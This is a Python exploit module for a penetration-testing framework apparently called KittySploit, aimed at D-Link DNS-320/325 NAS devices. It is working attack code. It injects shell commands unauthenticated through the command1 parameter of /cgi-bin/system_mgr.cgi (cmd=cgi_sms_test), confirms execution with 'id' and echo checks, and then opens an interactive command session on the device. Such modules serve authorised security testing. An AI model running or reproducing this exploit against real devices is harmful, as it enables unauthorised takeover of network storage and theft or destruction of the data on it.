D-Link DNS-320/325 - system_mgr.cgi SMS Test RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DNS-320/325 system_mgr.cgi SMS test RCE — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DNS-320/325 - system_mgr.cgi SMS Test RCE',
        'description': (
            'Exploits command injection in cgi_sms_test via the command1 parameter on '
            '/cgi-bin/system_mgr.cgi (distinct from CVE-2020-25506 NTP injection). '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/18631'],
        'tags': ['dlink', 'dns-320', 'dns-325', 'nas', 'rce', 'cmdi', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/dlink_dns_system_mgr_rce_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        path = (
            f'/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1={quote(str(cmd), safe="")}'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'D-Link system_mgr.cgi SMS test RCE confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'system_mgr.cgi did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()